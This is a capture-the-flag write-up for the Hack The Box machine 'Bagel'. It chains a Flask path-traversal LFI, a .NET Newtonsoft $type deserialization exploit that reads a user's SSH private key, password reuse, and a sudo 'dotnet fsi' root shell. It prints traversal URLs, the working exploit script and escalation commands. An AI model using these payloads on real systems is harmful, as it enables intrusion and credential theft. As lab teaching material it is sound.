HTB: Bagel
LFI to read app source, .NET WebSocket deserialization to steal an SSH key, sudo dotnet fsi to root
Port 8000 ran a Flask app with a path-traversal LFI that let me read its own source and /proc/
the box
Bagel is a medium Linux box running three services: SSH on 22, a .NET app on 5000, and a Flask storefront on 8000. The Flask front end is the only thing exposed in a useful way, and it talks to the .NET service internally over a WebSocket. The chain is: read the Flask source via LFI, learn about the internal .NET service, pull and reverse its DLL, then abuse a JSON deserializer to read arbitrary files and walk up the users.
recon
nmap -p- --min-rate 10000 10.129.83.59
nmap -p 22,5000,8000 -sCV 10.129.83.59
Three ports. The 5000 service is .NET (Microsoft-NetCore/2.0) and answers HTTP requests with 400 Bad Request because it actually wants a WebSocket handshake. 8000 is Flask on Werkzeug.
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
5000/tcp open upnp? Microsoft-NetCore/2.0
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
Every request to http://bagel.htb:8000/ redirected to http://bagel.htb:8000/?page=index.html. A page parameter that names a file is a classic LFI smell, so I poked at it.
foothold
path-traversal LFI on page
http://bagel.htb:8000/?page=../../../../../../etc/passwd
That returned /etc/passwd and gave me two real users:
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
The handler prepends static/ then serves the file with send_file, with no traversal guard:
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
...
Next I read /proc/self/cmdline to see how the server itself was launched, then read the app’s own source. The Flask source had an /orders route that opens a WebSocket to a local .NET service and sends a JSON command:
@app.route('/orders')
def order():
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to the order app
order = {"ReadOrder": "orders.txt"}
ws.send(str(json.dumps(order)))
result = ws.recv()
return json.loads(result)['ReadOrder']
So port 5000 takes a JSON message, and ReadOrder reads a file out of an orders directory. To find the .NET binary on disk, I fuzzed /proc/<pid>/cmdline through the LFI (a small script that walks PIDs and flags any cmdline that is not the “File not found” miss page):
# walk /proc/<pid>/cmdline through ?page= and grep the .NET process
python3 LFIH.py -u "http://bagel.htb:8000/?page=../../../../" -cmdlines -t 50 -p "File not found"
That turned up the assembly:
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
pulling and reversing the DLL
The DLL is just another file the LFI can read, so I downloaded it through the same parameter:
curl -s "http://bagel.htb:8000/?page=../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll" -o bagel.dll
file bagel.dll # PE32, Mono/.Net assembly
Opening it in dnSpy (ILSpy works too) showed the message loop and the serializer. The server reads the WebSocket frame, deserializes it, immediately re-serializes the resulting object, and sends it back:
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = Encoding.UTF8.GetString(args.get_Data().Array, 0, args.get_Data().Count);
Handler handler = new Handler();
object request = handler.Deserialize(json);
object response = handler.Serialize(request);
_Server.SendAsync(args.get_IpPort(), response.ToString(), default(CancellationToken));
}
The bug is in Handler. Both serialize and deserialize set TypeNameHandling to Auto ((TypeNameHandling)4):
public object Deserialize(string json)
{
JsonSerializerSettings val = new JsonSerializerSettings();
val.set_TypeNameHandling((TypeNameHandling)4); // Auto
return JsonConvert.DeserializeObject<Base>(json, val);
}
TypeNameHandling.Auto means a $type field in the incoming JSON tells Newtonsoft.Json which concrete .NET type to instantiate. That is the whole vulnerability: I get to pick the class.
why RemoveOrder and not ReadOrder
The deserialized root type is Base : Orders. The Orders class has a ReadOrder property whose setter strips .. and / to stop traversal. But there is also a File class with a ReadFile setter that reads any path with no filtering at all:
public class File
{
private string file_content;
private string directory = "/opt/bagel/orders/";
private string filename = "orders.txt";
public string ReadFile
{
get { return file_content; }
set
{
filename = value;
ReadContent(directory + filename); // no sanitization
}
}
public void ReadContent(string path)
{
IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
file_content += string.Join("\n", values);
}
}
If I send ReadOrder, my path goes through the filtered setter. The escape is to inject a File object into a property that does not sanitize: RemoveOrder accepts an arbitrary object, and with $type I make that object a File. When Newtonsoft instantiates it, setting ReadFile fires the unfiltered setter, the file is read, the object is serialized back, and the file content comes back to me in the response.
the exploit
import json, websocket
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../../home/phil/.ssh/id_rsa"}}
ws.send(str(json.dumps(order)))
result = ws.recv()
print(json.loads(result)["RemoveOrder"]["ReadFile"])
The $type string is fully.qualified.TypeName, AssemblyName, so bagel_server.File, bagel. The server instantiated bagel_server.File, set ReadFile to the traversal path, read phil’s private key, and serialized it straight back. That dumped phil’s id_rsa. (You can do the same by hand with wscat -c ws://bagel.htb:5000/ and pasting the JSON.)
user
The key needed reformatting out of the JSON-escaped blob before use:
chmod 600 id_rsa
ssh -i id_rsa phil@bagel.htb
phil’s home had nothing interesting, but the DLL I already pulled carried a hardcoded database connection string in a DB class:
Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K
The DB itself was a dead end, but the password was reused for the local developer account:
su - developer # password: k8wdAYYKyhnjg3K
developer held the user flag.
root
developer’s sudo grant ran dotnet as root with no password:
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
dotnet ships F# Interactive, fsi, which is a full REPL that executes arbitrary .NET. Running it under sudo executes that code as root. The quick win is to read the flag directly:
sudo /usr/bin/dotnet fsi
> System.IO.File.ReadAllText("/root/root.txt");;
Cleaner is a full root shell:
sudo /usr/bin/dotnet fsi
> System.Diagnostics.Process.Start("bash").WaitForExit();;
Either way it is game over. (You could also dotnet new console, drop a shell launcher in Program.cs, and sudo dotnet run.)
takeaway
The LFI was only a stepping stone. Reading the app’s own source and /proc/<pid>/cmdline pointed at an internal .NET service, pulling the DLL through that same LFI let me reverse it, and a $type-driven Newtonsoft deserializer with TypeNameHandling.Auto turned a JSON message into arbitrary file read once I routed it through the unfiltered RemoveOrder property. After that, a NOPASSWD interpreter is instant root. Never deserialize untrusted input with type-name handling enabled, and never hand a full language runtime to a sudo rule.